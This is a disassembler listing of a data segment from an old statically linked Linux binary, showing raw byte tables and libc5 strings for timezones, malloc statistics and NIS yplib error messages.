		db 0B4h	; Є
		db 0A5h	; ╔
		db 0C3h	; ц
		db  6Dh	; m
		db  1Bh	;  
		db  7Ah	; z
		db  96h	; √
		db 0D3h	; с
		db  98h	; ≤
		db 0C8h	; х
		db 0B8h	; ╦
		db  15h	;  
		db  8Fh	; ▐
		db  38h	; 8
		db 0FEh	; Ч
		db 0DCh	; э
		db 0A0h	; ═
		db 0B2h	; ╡
		db  4Eh	; N
		db  45h	; E
		db    9	;  
		db 0B9h	; ╧
		db  38h	; 8
		db  87h	; ┤
		db  96h	; √
		db 0E9h	; И
		db 0C4h	; д
		db  10h	;  
		db  11h	;  
		db 0CCh	; л
		db 0D9h	; ы
		db  2Bh	; +
		db  0Ch	;  
		db 0CDh	; м
		db  97h	; ≈
		db  32h	; 2
		db  30h	; 0
		db 0ECh	; Л
		db  5Fh	; _
		db  65h	; e
		db 0B1h	; ╠
		db  25h	; %
		db    7	;  
		db 0AEh	; ў
		db 0E8h	; Х
		db  0Eh	;  
		db    9	;  
		db 0F4h	; Т
		db 0EEh	; Н
		db  19h	;  
		db  7Dh	; }
		db    3	;  
		db 0EDh	; М
		db  6Fh	; o
		db  8Ch	; ▄
		db  39h	; 9
		db  6Bh	; k
		db 0F2h	; Р
		db  9Ah	;  
		db  3Bh	; ;
		db  50h	; P
		db 0A4h	; є
		db  94h	; ■
		db 0C9h	; и
		db  43h	; C
		db  17h	;  
		db  34h	; 4
		db 0B5h	; ╣
		db 0B2h	; ╡
		db  97h	; ≈
		db 0A6h	; і
		db  75h	; u
		db 0C1h	; а
		db 0B9h	; ╧
		db  50h	; P
		db 0ACh	; ╛
		db  92h	; ▓
		db  5Bh	; [
		db 0CBh	; к
		db  3Ch	; <
		db    5	;  
		db  62h	; b
		db 0E0h	; Ю
		db 0FFh	;  
		db  61h	; a
		db  97h	; ≈
		db  32h	; 2
		db 0A8h	; ╗
		db  42h	; B
		db  52h	; R
		db 0EAh	; Й
		db 0DFh	; ъ
		db 0DBh	; ш
		db 0CAh	; й
		db  83h	; ┐
		db 0EBh	; К
		db 0F7h	; В
		db 0ADh	; ґ
		db  9Dh	; ²
		db 0E7h	; Г
		db  69h	; i
		db 0EEh	; Н
		db  20h	;  
		db  3Ch	; <
		db  17h	;  
		db  68h	; h
		db  0Ah	;  
		db  1Eh	;  
		db  7Ah	; z
		db 0B9h	; ╧
		db  21h	; !
		db  70h	; p
		db 0FAh	; З
		db  74h	; t
		db  30h	; 0
		db  74h	; t
		db  76h	; v
		db 0A7h	; ї
		db  6Ch	; l
		db  17h	;  
		db 0F6h	; Ж
		db  8Ah	; ┼
		db 0FBh	; Ш
		db  77h	; w
		db 0EBh	; К
		db  9Bh	; ⌡
		db 0A1h	; ║
		db 0ECh	; Л
		db 0DEh	; ч
		db 0F1h	; Я
		db 0BAh	; ╨
		db  92h	; ▓
		db  12h	;  
		db 0B7h	; Ї
		db  63h	; c
		db 0AFh	; ╞
		db  8Bh	; ▀
		db 0C8h	; х
		db  35h	; 5
		db 0DEh	; ч
		db  8Ch	; ▄
		db  8Fh	; ▐
		db 0EBh	; К
		db 0A4h	; є
		db 0E9h	; И
		db 0D5h	; у
		db  37h	; 7
		db 0E1h	; А
		db 0A0h	; ═
		db  64h	; d
		db 0B4h	; Є
		db  40h	; @
		db 0E8h	; Х
		db 0CDh	; м
		db 0D1h	; я
		db  87h	; ┤
		db 0BDh	; Ґ
		db  3Bh	; ;
		db  92h	; ▓
		db  42h	; B
		db 0FFh	;  
		db  62h	; b
		db  8Fh	; ▐
		db 0CDh	; м
		db 0F3h	; С
		db  90h	; ░
		db  26h	; &
		db  2Eh	; .
		db  16h	;  
		db 0DCh	; э
		db  5Eh	; ^
		db    9	;  
		db  1Bh	;  
		db  9Fh	; ÷
		db 0C8h	; х
		db  59h	; Y
		db  5Dh	; ]
		db 0FDh	; Щ
		db 0A8h	; ╗
		db  1Fh	;  
		db  3Dh	; =
		db  75h	; u
		db  38h	; 8
		db  51h	; Q
		db  29h	; )
		db  2Bh	; +
		db  0Ah	;  
		db  39h	; 9
		db  18h	;  
		db  2Fh	; /
		db  15h	;  
		db  80h	; ─
		db  25h	; %
		db 0D9h	; ы
		db 0D8h	; ь
		db  2Dh	; -
		db  3Eh	; >
		db 0D8h	; ь
		db  84h	; └
		db 0F9h	; Ы
		db  74h	; t
		db  2Eh	; .
		db  87h	; ┤
		db  7Ah	; z
		db 0AFh	; ╞
		db  1Fh	;  
		db  9Eh	; ·
		db 0C1h	; а
		db  2Dh	; -
		db  54h	; T
		db  4Dh	; M
		db 0EDh	; М
		db 0D0h	; п
		db 0B5h	; ╣
		db 0F9h	; Ы
		db 0ECh	; Л
		db  75h	; u
		db 0EAh	; Й
		db  62h	; b
		db  94h	; ■
		db 0DFh	; ъ
		db  0Ah	;  
		db  3Ch	; <
		db 0C5h	; е
		db  34h	; 4
		db 0A1h	; ║
		db 0AEh	; ў
		db  0Ch	;  
		db  39h	; 9
		db 0D4h	; т
		db 0A2h	; ╒
		db  37h	; 7
		db  8Ah	; ┼
		db  2Eh	; .
		db 0FAh	; З
		db 0C8h	; х
		db  7Eh	; ~
		db  32h	; 2
		db  81h	; │
		db  21h	; !
		db  27h	; '
		db 0B8h	; ╦
		db  7Bh	; {
		db  6Eh	; n
		db  20h	;  
		db    8	;  
		db  24h	; $
		db  2Dh	; -
		db 0E0h	; Ю
		db  10h	;  
		db 0BEh	; Ў
		db  50h	; P
		db 0B8h	; ╦
		db 0D4h	; т
		db  93h	; ⌠
		db  58h	; X
		db 0B9h	; ╧
		db  2Bh	; +
		db  31h	; 1
		db 0ABh	; ╚
		db  22h	; "
		db  23h	; #
		db  2Bh	; +
		db  1Fh	;  
		db  25h	; %
		db  3Fh	; ?
		db  0Bh	;  
		db  44h	; D
		db 0DEh	; ч
		db  7Eh	; ~
		db  62h	; b
		db 0BFh	; ©
		db  89h	; ┴
		db 0C7h	; г
		db 0DAh	; з
		db  72h	; r
		db  95h	; ∙
		db 0B8h	; ╦
		db    8	;  
		db 0B6h	; І
		db  2Ah	; *
		db  7Eh	; ~
		db  78h	; x
		db  78h	; x
		db 0F0h	; П
		db 0B3h	; Ё
		db 0DEh	; ч
		db  86h	; ├
		db 0ABh	; ╚
		db  7Ah	; z
		db 0EEh	; Н
		db  6Fh	; o
		db 0F4h	; Т
		db  73h	; s
		db  93h	; ⌠
		db 0BBh	; ╩
		db  7Bh	; {
		db 0F5h	; У
		db 0ECh	; Л
		db  27h	; '
		db  7Eh	; ~
		db 0B5h	; ╣
		db 0D8h	; ь
		db 0F7h	; В
		db  9Fh	; ÷
		db  6Ah	; j
		db 0A2h	; ╒
		db 0FCh	; Э
		db 0D2h	; р
		db 0E8h	; Х
		db    4	;  
		db  3Dh	; =
		db 0CBh	; к
		db  13h	;  
		db 0DFh	; ъ
		db 0C9h	; и
		db  6Ah	; j
		db  82h	; ┌
		db  72h	; r
		db  31h	; 1
		db  7Ch	; |
		db  8Dh	; █
		db  9Eh	; ·
		db 0CDh	; м
		db 0E0h	; Ю
		db 0D8h	; ь
		db 0FCh	; Э
		db 0A8h	; ╗
		db  97h	; ≈
		db  94h	; ■
		db 0C3h	; ц
		db 0B2h	; ╡
		db 0D9h	; ы
		db  41h	; A
		db  76h	; v
		db  30h	; 0
		db 0C1h	; а
		db  39h	; 9
		db 0C9h	; и
		db  1Ch	;  
		db 0CFh	; о
		db 0C4h	; д
		db    8	;  
		db  26h	; &
		db 0BFh	; ©
		db 0C7h	; г
		db 0D1h	; я
		db 0B6h	; І
		db  7Eh	; ~
		db  6Ah	; j
		db  32h	; 2
		db  3Dh	; =
		db 0E6h	; Ф
		db  19h	;  
		db 0AFh	; ╞
		db 0EEh	; Н
		db  5Fh	; _
		db 0E2h	; Б
		db  13h	;  
		db  8Eh	; ▌
		db  2Bh	; +
		db  30h	; 0
		db  63h	; c
		db 0EEh	; Н
		db  97h	; ≈
		db  6Dh	; m
		db 0FEh	; Ч
		db  2Dh	; -
		db  58h	; X
		db  1Dh	;  
		db  97h	; ≈
		db  25h	; %
		db 0C4h	; д
		db  3Ch	; <
		db  1Dh	;  
		db 0E4h	; Д
		db  7Ch	; |
		db  62h	; b
		db  80h	; ─
		db  0Ah	;  
		db  9Ah	;  
		db 0B5h	; ╣
		db  8Dh	; █
		db 0ABh	; ╚
		db 0C8h	; х
		db  37h	; 7
		db 0EAh	; Й
		db  9Eh	; ·
		db  77h	; w
		db 0FBh	; Ш
		db  0Ah	;  
		db 0E9h	; И
		db 0CFh	; о
		db  19h	;  
		db 0CAh	; й
		db  90h	; ░
		db  2Ch	; ,
		db  35h	; 5
		db 0E3h	; Ц
		db  9Eh	; ·
		db  50h	; P
		db 0C8h	; х
		db  13h	;  
		db  36h	; 6
		db  82h	; ┌
		db 0D6h	; ж
		db  78h	; x
		db 0FEh	; Ч
		db  50h	; P
		db  6Eh	; n
		db  8Fh	; ▐
		db  78h	; x
		db    4	;  
		db    9	;  
		db    6	;  
		db  5Bh	; [
		db 0A4h	; є
		db 0D1h	; я
		db  1Bh	;  
		db 0B7h	; Ї
		db  34h	; 4
		db 0B5h	; ╣
		db 0ECh	; Л
		db  3Fh	; ?
		db  0Ch	;  
		db  45h	; E
		db  2Ch	; ,
		db 0B3h	; Ё
		db  57h	; W
		db  38h	; 8
		db 0C3h	; ц
		db  20h	;  
		db 0DAh	; з
		db 0CFh	; о
		db 0E9h	; И
		db 0A6h	; і
		db 0CEh	; н
		db 0F4h	; Т
		db  39h	; 9
		db    2	;  
		db  87h	; ┤
		db  71h	; q
		db  49h	; I
		db  48h	; H
		db  95h	; ∙
		db 0DBh	; ш
		db  9Ah	;  
		db 0A1h	; ║
		db  8Ah	; ┼
		db 0EDh	; М
		db  92h	; ▓
		db 0B4h	; Є
		db 0A8h	; ╗
		db 0A6h	; і
		db 0ACh	; ╛
		db  95h	; ∙
		db 0D9h	; ы
		db  6Ch	; l
		db 0CDh	; м
		db  4Dh	; M
		db  50h	; P
		db  23h	; #
		db  1Bh	;  
		db 0CFh	; о
		db  2Ah	; *
		db 0B1h	; ╠
		db 0E8h	; Х
		db 0FBh	; Ш
		db  8Ch	; ▄
		db  77h	; w
		db  67h	; g
		db  1Ah	;  
		db 0CCh	; л
		db  3Ah	; :
		db 0EBh	; К
		db  38h	; 8
		db  83h	; ┐
		db 0A3h	; ё
		db  2Dh	; -
		db 0C3h	; ц
		db 0B1h	; ╠
		db  6Ah	; j
		db  12h	;  
		db 0FBh	; Ш
		db 0A8h	; ╗
		db  40h	; @
		db  3Fh	; ?
		db 0A0h	; ═
		db  46h	; F
		db 0F5h	; У
		db  5Bh	; [
		db 0EDh	; М
		db  24h	; $
		db  47h	; G
		db 0CEh	; н
		db 0E9h	; И
		db 0FDh	; Щ
		db  74h	; t
		db  4Ah	; J
		db  4Ch	; L
		db 0D8h	; ь
		db  30h	; 0
		db 0A1h	; ║
		db  73h	; s
		db  2Dh	; -
		db  0Eh	;  
		db  96h	; √
		db 0D9h	; ы
		db 0C1h	; а
		db 0D6h	; ж
		db 0EBh	; К
		db 0A2h	; ╒
		db 0EBh	; К
		db  6Fh	; o
		db 0ABh	; ╚
		db  94h	; ■
		db  7Ch	; |
		db  3Bh	; ;
		db  23h	; #
		db  6Fh	; o
		db  80h	; ─
		db  60h	; `
		db  12h	;  
		db  49h	; I
		db  73h	; s
		db  9Ah	;  
		db  7Bh	; {
		db  8Eh	; ▌
		db  91h	; ▒
		db  90h	; ░
		db  8Ch	; ▄
		db  4Bh	; K
		db  99h	; ≥
		db 0F9h	; Ы
		db  98h	; ≤
		db 0D2h	; р
		db 0B5h	; ╣
		db  36h	; 6
		db 0E8h	; Х
		db  35h	; 5
		db 0FFh	;  
		db 0DEh	; ч
		db  6Dh	; m
		db 0A9h	; ╘
		db  31h	; 1
		db  9Bh	; ⌡
		db  11h	;  
		db  96h	; √
		db 0BCh	; ╪
		db 0D9h	; ы
		db  0Dh	;  
		db  6Bh	; k
		db  8Dh	; █
		db  3Fh	; ?
		db 0CCh	; л
		db 0C6h	; ф
		db 0FBh	; Ш
		db  66h	; f
		db  25h	; %
		db  28h	; (
		db 0E7h	; Г
		db  82h	; ┌
		db 0B8h	; ╦
		db  72h	; r
		db  3Bh	; ;
		db  9Fh	; ÷
		db  76h	; v
		db 0D6h	; ж
		db  3Dh	; =
		db  34h	; 4
		db  74h	; t
		db 0A6h	; і
		db  9Bh	; ⌡
		db  50h	; P
		db 0FCh	; Э
		db    0	;  
		db  89h	; ┴
		db  77h	; w
		db 0BFh	; ©
		db 0DCh	; э
		db  3Fh	; ?
		db  6Ah	; j
		db  26h	; &
		db 0D6h	; ж
		db 0FDh	; Щ
		db  41h	; A
		db  96h	; √
		db 0AEh	; ў
		db  1Bh	;  
		db  54h	; T
		db  89h	; ┴
		db  4Eh	; N
		db    7	;  
		db  34h	; 4
		db  95h	; ∙
		db  11h	;  
		db    3	;  
		db  0Dh	;  
		db  40h	; @
		db  53h	; S
		db  5Ah	; Z
		db 0D7h	; в
		db  0Dh	;  
		db  8Eh	; ▌
		db  45h	; E
		db  33h	; 3
		db 0B5h	; ╣
		db 0E5h	; Е
		db 0ADh	; ґ
		db  19h	;  
		db  8Fh	; ▐
		db  10h	;  
		db 0BCh	; ╪
		db  89h	; ┴
		db  8Bh	; ▀
		db  10h	;  
		db  54h	; T
		db 0C9h	; и
		db 0A4h	; є
		db  41h	; A
		db  63h	; c
		db  2Bh	; +
		db  3Bh	; ;
		db 0E0h	; Ю
		db  7Fh	; 
		db  3Dh	; =
		db  7Bh	; {
		db  43h	; C
		db  8Eh	; ▌
		db 0EDh	; М
		db 0ACh	; ╛
		db  97h	; ≈
		db  70h	; p
		db  66h	; f
		db 0D6h	; ж
		db 0CBh	; к
		db 0C2h	; б
		db    8	;  
		db  55h	; U
		db  2Ch	; ,
		db  69h	; i
		db 0BCh	; ╪
		db  0Eh	;  
		db  65h	; e
		db 0F0h	; П
		db  2Eh	; .
		db  4Fh	; O
		db  5Ch	; \
		db 0BFh	; ©
		db 0F6h	; Ж
		db  4Fh	; O
		db  90h	; ░
		db 0DFh	; ъ
		db 0A2h	; ╒
		db  85h	; ┘
		db  99h	; ≥
		db  9Eh	; ·
		db 0DDh	; щ
		db 0ADh	; ґ
		db  9Fh	; ÷
		db  39h	; 9
		db 0D2h	; р
		db 0D8h	; ь
		db  5Eh	; ^
		db  32h	; 2
		db  58h	; X
		db  58h	; X
		db  25h	; %
		db 0B9h	; ╧
		db  1Ch	;  
		db 0E5h	; Е
		db 0E3h	; Ц
		db 0D4h	; т
		db 0F1h	; Я
		db 0F4h	; Т
		db  0Fh	;  
		db  9Ah	;  
		db  2Dh	; -
		db 0C0h	; ю
		db  56h	; V
		db    4	;  
		db 0F8h	; Ь
		db  4Eh	; N
		db  8Ch	; ▄
		db  13h	;  
		db  8Ah	; ┼
		db 0A0h	; ═
		db 0C1h	; а
		db 0C8h	; х
		db    1	;  
		db 0FDh	; Щ
		db  13h	;  
		db  71h	; q
		db  76h	; v
		db 0D2h	; р
		db 0E6h	; Ф
		db 0F4h	; Т
		db  34h	; 4
		db 0C2h	; б
		db 0A7h	; ї
		db 0CCh	; л
		db  76h	; v
		db    1	;  
		db  9Dh	; ²
		db 0F2h	; Р
		db  3Dh	; =
		db 0D7h	; в
		db 0D0h	; п
		db  89h	; ┴
		db 0FAh	; З
		db  8Bh	; ▀
		db  4Dh	; M
		db 0CDh	; м
		db  10h	;  
		db  4Fh	; O
		db  54h	; T
		db 0B2h	; ╡
		db 0E0h	; Ю
		db  17h	;  
		db  2Bh	; +
		db  7Dh	; }
		db  5Ch	; \
		db  0Ah	;  
		db 0B7h	; Ї
		db  49h	; I
		db 0FEh	; Ч
		db  86h	; ├
		db 0FDh	; Щ
		db  41h	; A
		db  3Fh	; ?
		db  37h	; 7
		db 0DFh	; ъ
		db 0BBh	; ╩
		db  95h	; ∙
		db  44h	; D
		db  21h	; !
		db 0FDh	; Щ
		db  57h	; W
		db 0E8h	; Х
		db  84h	; └
		db 0D5h	; у
		db  13h	;  
		db 0D3h	; с
		db    0	;  
		db 0BEh	; Ў
		db 0FCh	; Э
		db  96h	; √
		db    4	;  
		db  44h	; D
		db  47h	; G
		db 0BAh	; ╨
		db 0A4h	; є
		db  82h	; ┌
		db 0C9h	; и
		db 0CAh	; й
		db 0E8h	; Х
		db  6Eh	; n
		db  9Eh	; ·
		db 0C2h	; б
		db 0AEh	; ў
		db  38h	; 8
		db  70h	; p
		db 0ECh	; Л
		db  87h	; ┤
		db  19h	;  
		db 0A5h	; ╔
		db    0	;  
		db  70h	; p
		db  3Bh	; ;
		db  33h	; 3
		db 0EEh	; Н
		db 0AEh	; ў
		db  2Ch	; ,
		db 0E4h	; Д
		db  66h	; f
		db 0FFh	;  
		db  25h	; %
		db  6Bh	; k
		db 0FDh	; Щ
		db  8Ah	; ┼
		db  3Bh	; ;
		db 0F6h	; Ж
		db 0B4h	; Є
		db    3	;  
		db 0DCh	; э
		db  91h	; ▒
		db  79h	; y
		db 0BDh	; Ґ
		db 0C7h	; г
		db 0D9h	; ы
		db 0B8h	; ╦
		db  5Ah	; Z
		db  4Eh	; N
		db  68h	; h
		db 0D4h	; т
		db  2Eh	; .
		db  6Ch	; l
		db  1Ah	;  
		db  74h	; t
		db  48h	; H
		db  0Dh	;  
		db  94h	; ■
		db    6	;  
		db 0AFh	; ╞
		db  49h	; I
		db  63h	; c
		db 0DCh	; э
		db  2Fh	; /
		db 0CDh	; м
		db  7Eh	; ~
		db  3Dh	; =
		db 0B0h	; ╟
		db  6Fh	; o
		db  99h	; ≥
		db  74h	; t
		db 0E9h	; И
		db 0F9h	; Ы
		db  67h	; g
		db  78h	; x
		db 0ACh	; ╛
		db  21h	; !
		db  87h	; ┤
		db 0ECh	; Л
		db  52h	; R
		db  4Ah	; J
		db  9Dh	; ²
		db 0DDh	; щ
		db 0BCh	; ╪
		db    0	;  
		db  2Dh	; -
		db 0DDh	; щ
		db  8Eh	; ▌
		db    6	;  
		db 0DEh	; ч
		db  57h	; W
		db  35h	; 5
		db 0F8h	; Ь
		db  59h	; Y
		db 0C7h	; г
		db  41h	; A
		db 0B9h	; ╧
		db 0D4h	; т
		db  56h	; V
		db  39h	; 9
		db 0F2h	; Р
		db    9	;  
		db  54h	; T
		db 0A7h	; ї
		db 0A1h	; ║
		db 0D8h	; ь
		db  3Ch	; <
		db  12h	;  
		db 0ABh	; ╚
		db  0Fh	;  
		db  10h	;  
		db 0B6h	; І
		db 0E2h	; Б
		db  21h	; !
		db  7Bh	; {
		db  3Eh	; >
		db  3Bh	; ;
		db  62h	; b
		db  8Dh	; █
		db  2Eh	; .
		db 0A2h	; ╒
		db  9Dh	; ²
		db  95h	; ∙
		db  92h	; ▓
		db  77h	; w
		db  5Fh	; _
		db 0A3h	; ё
		db 0BCh	; ╪
		db 0A5h	; ╔
		db    3	;  
		db  0Ch	;  
		db  20h	;  
		db  57h	; W
		db 0B4h	; Є
		db 0FCh	; Э
		db  35h	; 5
		db 0E4h	; Д
		db 0C6h	; ф
		db 0B6h	; І
		db  1Bh	;  
		db  28h	; (
		db 0B9h	; ╧
		db  4Eh	; N
		db 0F7h	; В
		db  54h	; T
		db  0Bh	;  
		db  5Dh	; ]
		db  3Dh	; =
		db  21h	; !
		db  1Dh	;  
		db 0CCh	; л
		db  87h	; ┤
		db  6Fh	; o
		db    4	;  
		db  64h	; d
		db  49h	; I
		db  40h	; @
		db  42h	; B
		db 0AEh	; ў
		db  18h	;  
		db  75h	; u
		db 0B2h	; ╡
		db  68h	; h
		db 0D8h	; ь
		db  96h	; √
		db 0B4h	; Є
		db 0D2h	; р
		db  8Bh	; ▀
		db 0F4h	; Т
		db  63h	; c
		db  55h	; U
		db  1Ch	;  
		db 0F5h	; У
		db 0D8h	; ь
		db  34h	; 4
		db 0C2h	; б
		db  70h	; p
		db 0E9h	; И
		db  68h	; h
		db 0F8h	; Ь
		db 0FFh	;  
		db  1Fh	;  
		db  15h	;  
		db 0F9h	; Ы
		db 0A2h	; ╒
		db 0E4h	; Д
		db  7Bh	; {
		db 0AEh	; ў
		db 0EEh	; Н
		db  33h	; 3
		db  11h	;  
		db  27h	; '
		db  22h	; "
		db 0D9h	; ы
		db  0Fh	;  
		db 0BBh	; ╩
		db  32h	; 2
		db  49h	; I
		db  25h	; %
		db  25h	; %
		db 0C0h	; ю
		db  9Fh	; ÷
		db  0Ah	;  
		db 0A6h	; і
		db  64h	; d
		db 0CDh	; м
		db  4Bh	; K
		db  10h	;  
		db  45h	; E
		db    1	;  
		db  29h	; )
		db  30h	; 0
		db  62h	; b
		db    0	;  
		db    0	;  
		db    0	;  
off_8068DAC	dd offset unk_8067FDC	; DATA XREF: sub_8053310+7D2o
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
off_8068DBC	dd offset unk_8067FE8	; DATA XREF: sub_8053310+FC9o
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    7	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0F4h	; Т
		db  7Fh	; 
		db    6	;  
		db    8	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ah	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  80h	; ─
		db    6	;  
		db    8	;  
		db    3	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Bh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  18h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db  80h	; ─
		db    6	;  
		db    8	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  36h	; 6
		db    0	;  
		db    0	;  
		db    0	;  
		db  32h	; 2
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Ch	;  
		db  80h	; ─
		db    6	;  
		db    8	;  
		db    6	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  6Bh	; k
		db    0	;  
		db    0	;  
		db    0	;  
		db  67h	; g
		db    0	;  
		db    0	;  
		db    0	;  
		db  34h	; 4
		db  80h	; ─
		db    6	;  
		db    8	;  
		db    9	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db    0	;  
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db    0	;  
		db    0	;  
		db  58h	; X
		db  80h	; ─
		db    6	;  
		db    8	;  
		db  10h	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db 0AAh	; ╙
		db    1	;  
		db    0	;  
		db    0	;  
		db 0A6h	; і
		db    1	;  
		db    0	;  
		db    0	;  
		db  98h	; ≤
		db  80h	; ─
		db    6	;  
		db    8	;  
		db  1Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  53h	; S
		db    3	;  
		db    0	;  
		db    0	;  
		db  50h	; P
		db    3	;  
		db    0	;  
		db    0	;  
		db  0Ch	;  
		db  81h	; │
		db    6	;  
		db    8	;  
		db  38h	; 8
		db    0	;  
		db    0	;  
		db    0	;  
		db 0A5h	; ╔
		db    6	;  
		db    0	;  
		db    0	;  
		db 0A2h	; ╒
		db    6	;  
		db    0	;  
		db    0	;  
		db 0ECh	; Л
		db  81h	; │
		db    6	;  
		db    8	;  
		db  6Dh	; m
		db    0	;  
		db    0	;  
		db    0	;  
		db  4Ah	; J
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  0Dh	;  
		db    0	;  
		db    0	;  
		db 0A0h	; ═
		db  83h	; ┐
		db    6	;  
		db    8	;  
		db 0D7h	; в
		db    0	;  
		db    0	;  
		db    0	;  
		db  94h	; ■
		db  1Ah	;  
		db    0	;  
		db    0	;  
		db  90h	; ░
		db  1Ah	;  
		db    0	;  
		db    0	;  
		db 0FCh	; Э
		db  86h	; ├
		db    6	;  
		db    8	;  
		db 0ACh	; ╛
		db    1	;  
		db    0	;  
		db    0	;  
		db  27h	; '
		db  35h	; 5
		db    0	;  
		db    0	;  
		db  24h	; $
		db  35h	; 5
		db    0	;  
		db    0	;  
a@TheLinuxCLibr	db '@(#) The Linux C library 5.3.12',0 ; DATA XREF: sub_8053310+403o
					; sub_8053310+C14o ...
		dd offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12"
unk_8068EA0	db  47h	; G		; DATA XREF: sub_805AF2C+8o
					; sub_805AF2C+1Co ...
		db  4Dh	; M
		db  54h	; T
		db    0	;  
unk_8068EA4	db  20h	;		; DATA XREF: sub_805A11C+6o
					; sub_805A11C+10o
		db  20h	;  
		db  20h	;  
		db    0	;  
aLocaltime	db 'localtime',0        ; DATA XREF: sub_805A254+12o
aUsrLibZoneinfo	db '/usr/lib/zoneinfo',0 ; DATA XREF: sub_805A254+37o
asc_8068EC4	db '/',0                ; DATA XREF: sub_805A254+7Fo
					; sub_805A7E4+29Er
		db  8Dh	; █
		db  36h	; 6
unk_8068EC8	db  1Fh	;		; DATA XREF: sub_805A7E4+100r
					; sub_805A7E4+121r ...
		db    0	;  
		db    0	;  
		db    0	;  
unk_8068ECC	db  1Ch	;		; DATA XREF: sub_805A7E4+179r
		db    0	;  
		db    0	;  
		db    0	;  
unk_8068ED0	db  1Fh	;		; DATA XREF: sub_805A7E4+192r
		db    0	;  
		db    0	;  
		db    0	;  
unk_8068ED4	db  1Eh	;		; DATA XREF: sub_805A7E4+1ABr
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Dh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Eh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  1Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
dword_8068F28	dd 16Dh			; DATA XREF: sub_805AAC0+242r
					; sub_805B1C4+25Fr ...
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
aPosixrules	db 'posixrules',0       ; DATA XREF: sub_805AAC0+76o
aTz		db 'TZ',0               ; DATA XREF: sub_805AF5C+4o
unk_8068F3E	db  53h	; S		; DATA XREF: sub_805B4E0+34o
		db  75h	; u
		db  6Eh	; n
		db  4Dh	; M
		db  6Fh	; o
		db  6Eh	; n
		db  54h	; T
		db  75h	; u
		db  65h	; e
		db  57h	; W
		db  65h	; e
		db  64h	; d
		db  54h	; T
		db  68h	; h
		db  75h	; u
		db  46h	; F
		db  72h	; r
		db  69h	; i
		db  53h	; S
		db  61h	; a
		db  74h	; t
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec%.3s %.3s%3d %02.2d:%02.'
					; DATA XREF: sub_805B4E0+28o
		db '2d:%02.2d %d',0Ah,0
aMaxSystemBytes	db 'max system bytes = %10u',0Ah,0 ; DATA XREF: malloc_stats+Eo
aSystemBytes10u	db 'system bytes     = %10u',0Ah,0 ; DATA XREF: malloc_stats+29o
aInUseBytes10u	db 'in use bytes     = %10u',0Ah,0 ; DATA XREF: malloc_stats+44o
aMaxMmapRegions	db 'max mmap regions = %10u',0Ah,0 ; DATA XREF: malloc_stats+5Co
		align 4
aYplib_cV2_6199	db 'yplib.c,v 2.6 1994/05/27 14:34:43 swen Exp',0
					; DATA XREF: .data:08078F90o
		db  90h	; ░
dword_8069030	dd 0Ah			; DATA XREF: sub_805CE84+256r
					; sub_805CE84+393r ...
dword_8069034	dd 5			; DATA XREF: sub_805D3A8+18Cr
					; sub_805D638+104r ...
dword_8069038	dd 5			; DATA XREF: sub_805CCB0+12Ar
aVarYpBinding	db '/var/yp/binding',0  ; DATA XREF: sub_805CE84+125o
aSS_D		db '%s/%s.%d',0         ; DATA XREF: sub_805CE84+12Ao
aYpbindproc_dom	db 'YPBINDPROC_DOMAIN: Internal error',0Ah,0 ; DATA XREF: sub_805CE84+2ECo
aYpbindproc_d_0	db 'YPBINDPROC_DOMAIN: No bound server for domain %s',0Ah,0
					; DATA XREF: sub_805CE84+2F8o
aYpbindproc_d_1	db 'YPBINDPROC_DOMAIN: Resource allocation failure',0Ah,0
					; DATA XREF: sub_805CE84+30Co
aYpbindproc_d_2	db 'YPBINDPROC_DOMAIN: Unknown error',0Ah,0 ; DATA XREF: sub_805CE84+314o
aFcntlF_setfd	db 'fcntl: F_SETFD',0   ; DATA XREF: sub_805CE84+434o
aYp_matchClnt_c	db 'yp_match: clnt_call',0 ; DATA XREF: sub_805D3A8+15Co
